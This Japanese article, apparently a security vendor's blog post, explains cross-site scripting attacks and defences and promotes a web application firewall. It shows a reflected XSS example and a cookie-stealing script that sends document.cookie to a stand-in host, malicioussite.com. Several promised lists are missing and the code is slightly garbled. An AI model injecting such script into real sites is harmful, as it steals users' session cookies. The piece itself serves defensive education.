クロスサイトスクリプティングとは、ウェブアプリのコード側で実行され、無警戒な利用者の情報を詐取する攻撃です。信頼されたウェブアプリに悪意あるコードを挿入することで、攻撃者は正規の情報収集メッセージに見せかけて利用者に送信します。まるでハリウッド映画の劇場で行われるテロ攻撃のように、攻撃者は舞台の隙を突いて正体を隠すか、既知の劇の内容を少し変更して攻撃を仕掛けるのです。これ以上に適した隠れ蓑はありません。
このような攻撃は、ウェブアプリのコード側から実行され、場合によってはウェブアプリ自体に損害を与えることが狙いです。しかし、無防備な利用者が最も影響を受けるのは、攻撃者が個人情報や非常にセンシティブなデータにアクセスできるためです。つまり、クロスサイトスクリプティングの目的は、信頼されたウェブアプリの脆弱な部分を通じて、悪質なコードを利用者に送り込むことにあります。
通常、ソーシャルメディアや利用者のコメントを受け付けるウェブアプリは、クロスサイトスクリプティング攻撃に対して特に無防備です。技術的には、CSSなどのウェブコードの一部や、VB Script、ActiveXなどのライブラリも攻撃対象となりますが、特にJavaScriptはクロスサイトスクリプティング攻撃者にとって最も利用しやすい手段です。
基本的には利用者側の問題ですが、攻撃者はXSSを用いて目的のウェブサイトの信頼性を低下させることも狙います。有害なコードがウェブサイトのコードに組み込まれ、利用者に送信されると、ウェブアプリとその利用者は攻撃者の制御下に置かれる危険性があります。
また、脆弱なウェブページの元の内容を改変したり、利用者を別の不審なウェブサイトへ誘導するためにも利用されます。まとめると、XSSクロスサイトスクリプティング攻撃は、ウェブアプリの開発者と利用者の双方が備えるべきセキュリティ上の課題です。
攻撃者がXSS攻撃を実行するためには、主に2つの重要な段階があります。
ウェブアプリから利用者情報を詐取する以外にも、攻撃者がXSS攻撃を選ぶ理由は複数あります。前述の通り、XSS攻撃は主にJavaScriptを用いて実行されます。これらの攻撃は他のセキュリティ侵害に比べて危険度が低いと考えられる場合もありますが、実際にはウェブアプリと利用者にとって大きなリスクとなります。XSSの用途は以下の通りです。
ほとんどの場合、これらの攻撃は利用者が何らかの形で協力しなければ成功しません。しかし、熟練したフィッシャーはフィッシングやソーシャルエンジニアリングを用いて、この制約を回避することも可能です。
他のセキュリティ攻撃と同様に、XSS攻撃も多様な種類があります。攻撃方法、影響範囲、持続時間により分類され、現時点で主に以下の3種類が知られています。
ウェブアプリの構造はHTMLコードによって決まり、HTMLファイルに保存されます。各ファイルは対応するDOMを持ち、利用者に見えるフロントエンドを構成しています。XSS攻撃が実行されると、このDOMにアクセスし、ページの内容や構造が変更される恐れがあります。DOM型攻撃では、document.url、document.location、document.referrer などがよく利用されます。
これまでに実行された代表的なXSS攻撃の例を以下に示します。
<? Php
$name = $_GET ['name'];
Echo "Welcome $name<br>";
Echo "<a href="http://xssattackexamples.com/">Click to Download</a>";?>
index.php? Name=guest<script>alert ('attacked') </script> (the attack URL)
この例では、攻撃者が作成したURLを無警戒な利用者に送信します。信頼されたウェブアプリを介して送られたURLは、利用者がクリックしやすく、クリックすると「attacked」というメッセージが表示されます。このコード自体は直ちに大きな被害を及ぼしませんが、もし目的のURLが危険なサイトに変更されれば、利用者は攻撃者の手口から守ることができなくなります。
XSS攻撃はクッキーの窃取にも利用されます。クッキーとは、利用者を認証し情報を記録するウェブの機能です。この例では、攻撃者が利用者のクッキーを奪うよう設計されたスクリプトをウェブアプリのコメント欄のサーバから送信します。以下はそのコード例です。
<script>window.location="http://malicioussite.com/?cookie=" + document.cookie</script>
攻撃者は、ソーシャルエンジニアリングで利用者にリンクをクリックさせるか、無防備な利用者が自発的にクリックすることを期待します。利用者がリンクを開きコードが実行されると、そのクッキーが攻撃者の元へ送信されます。
<Html>
<h1>Latest Comments</h1>
<scrpt>
window.location="http://malicioussite.com/?cookie=" + document.cookie
</scrpt>
</Html>
このように、危険なコードが対象ウェブアプリのコメント欄に表示されます。
成功したXSS攻撃は、ウェブアプリの信頼性や利用者の評価に大きな損害を与えます。その危険性から、企業はセキュリティ対策を講じることが重要です。以下に、ウェブアプリをXSS攻撃から守るための方法を示します。
ウェブコードは厳格に検証されるべきです。利用者の入力に悪意あるコマンドが含まれていないかチェックし、ホワイトリストやブラックリストによる検証を行うことで、正当な利用者がウェブアプリにアクセスできなくなるリスクを回避します。
ここでの重要点は?
ホワイトリスト方式とは、一定の安全なデータ形式のみを許可する方法です。例えば、利用者コメントの入力欄をフリーテキストで受け付ける代わりに、ドロップダウンリストを利用することで安全性が向上します。
この手法は、攻撃者がウェブアプリのDOMを悪用するのを防ぎます。HTML5のサニタイズライブラリを利用して、危険な内容がHTML内に挿入されるのを防止します。
利用者が入力した文字をエンコードすることも、XSS攻撃を防ぐ方法の一つです。
定期的に入力欄をテストすることは、XSS攻撃を防ぐ上で非常に有効です。手動でのフィルタリングに加え、Wallarmのウェブアプリファイアウォールを使用することで、悪質な攻撃からウェブサイトを守ることができます。
現代のアプリは、コンテンツセキュリティポリシーを設定する余地があります。これにより、JavaScriptコードの取得元や実行を制御し、安全と判断したコードのみが動作するように設定できます。特定のコードの実行を禁止することも可能です。
ウェブアプリは、古典的な舞台劇の一幕のように、美しく構成されたコードによって動作します。サイバー犯罪者の手口から貴社の利用者、ウェブサイト、そして信頼を守ることが重要です。さぁ、対策を始めよう。
最新情報を購読